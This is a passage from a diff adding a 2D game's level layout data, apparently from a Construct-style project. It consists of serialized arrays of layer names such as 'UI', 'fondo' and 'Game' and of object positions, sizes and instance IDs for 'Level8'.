+ 2530,
+ 146,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5863,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5001,
+ 953,
+ 0,
+ 2530,
+ 146,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5864,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5279.8984375,
+ 892.9999389648438,
+ 0,
+ 2581,
+ 146,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5865,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4580.45849609375,
+ 626.984130859375,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6634,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2173.807373046875,
+ 715.7418212890625,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6635,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 677.1914672851562,
+ 668.6038818359375,
+ 0,
+ 61,
+ 60,
+ 0,
+ 0,
+ 1,
+ 0.5409836173057556,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 548,
+ 6636,
+ [],
+ [
+ [
+ 0,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "buttons",
+ 6,
+ 734167154811722,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "UI",
+ 7,
+ 809018131077094,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -1269,
+ -269,
+ 0,
+ 802,
+ 482,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 356,
+ 2503,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 60,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.5051546096801758,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 361,
+ 2505,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 2506,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 2507,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405.0369873046875,
+ 23.68000030517578,
+ 0,
+ 117.3712005615234,
+ 35.30678558349609,
+ 0,
+ 0,
+ 1,
+ 0.5284552574157715,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 522,
+ 2162,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401.0365600585938,
+ 61.68046569824219,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 2251,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388.0365600585938,
+ -1.319534301757813,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 2252,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27.03656005859375,
+ 21.68046569824219,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 2253,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119.0365600585938,
+ 24.68046569824219,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 2254,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75.03656005859375,
+ 24.68046569824219,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 2255,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 875,
+ -112,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 5834,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 390,
+ 221,
+ 0,
+ 839.6593627929688,
+ 504.6331787109375,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 2502,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 988624961373932,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 555945029316027,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level8",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 419048825078782,
+ [
+ [
+ "fondo",
+ 0,
+ 653086011651609,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -156,
+ -57,
+ 0,
+ 10237,
+ 2161,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 1702,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 521528177217508,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 2565,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 2566,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5219.5,
+ 765.5,
+ 0,
+ 51,
+ 1549,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2567,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -19,
+ 660.5,
+ 0,
+ 40,
+ 1337,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 2568,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 601085790195408,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 576,
+ 94,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 2569,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 543024076831507,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 749641061498433,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.8999999761581421,
+ 0.8999999761581421,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 715,
+ 883,
+ 0,
+ 1439.027465820313,
+ 310.2095031738281,
+ 0,
+ 0,
+ 1,
+ 0.5953806638717651,
+ 0.5833333134651184,
+ 0,
+ 0,
+ []
+ ],
+ 497,
+ 2570,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2147,
+ 883,
+ 0,
+ 1439.027465820313,
+ 310.2095031738281,
+ 0,
+ 0,
+ 1,
+ 0.5953806638717651,
+ 0.5833333134651184,
+ 0,
+ 0,
+ []
+ ],
+ 497,
+ 2571,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3068,
+ 1063,
+ 0,
+ 1439.027465820313,
+ 310.2095031738281,
+ 0,
+ 0,
+ 1,
+ 0.5953806638717651,
+ 0.5833333134651184,
+ 0,
+ 0,
+ []
+ ],
+ 497,
+ 2572,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4486,
+ 1057,
+ 0,
+ 1439.027465820313,
+ 310.2095031738281,
+ 0,
+ 0,
+ 1,
+ 0.5953806638717651,
+ 0.5833333134651184,
+ 0,
+ 0,
+ []
+ ],
+ 497,
+ 2573,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172,
+ 897,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2858,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23,
+ 1134,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 2860,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1561,
+ 1056,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2861,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1255,
+ 1206,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2891,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 833,
+ 1126,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2898,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 457,
+ 1258,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2899,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2302,
+ 713,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2900,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1855,
+ 652,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 2901,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3131,
+ 1212,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5867,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3700,
+ 1310,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5868,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4180,
+ 1221,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5869,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954,
+ 1337,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5870,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4453,
+ 1294,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5871,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4777,
+ 1251,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5872,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5089,
+ 969,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 5873,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 650,
+ 1428,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5874,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 932,
+ 1538,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5875,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1201,
+ 1483,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5876,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1492,
+ 1428,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5877,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1755,
+ 1330,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5878,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1871,
+ 987,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5879,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2318,
+ 1048,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5880,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3196,
+ 1498,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5881,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3153,
+ 905,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5882,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2312,
+ 644,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5883,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4769,
+ 1485,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5884,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4126,
+ 1565,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5885,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5029,
+ 947,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 5886,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 651922727624547,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 4318,
+ 520,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5921,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4042,
+ 611,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5920,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4312,
+ 909,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5919,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3927,
+ 1091,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5918,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3688,
+ 1089,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5917,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3290,
+ 1180,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5916,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3568,
+ 702,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5915,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3208,
+ 896,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5914,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2767,
+ 728,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 5913,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2433,
+ 727,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 5912,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2101,
+ 632,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
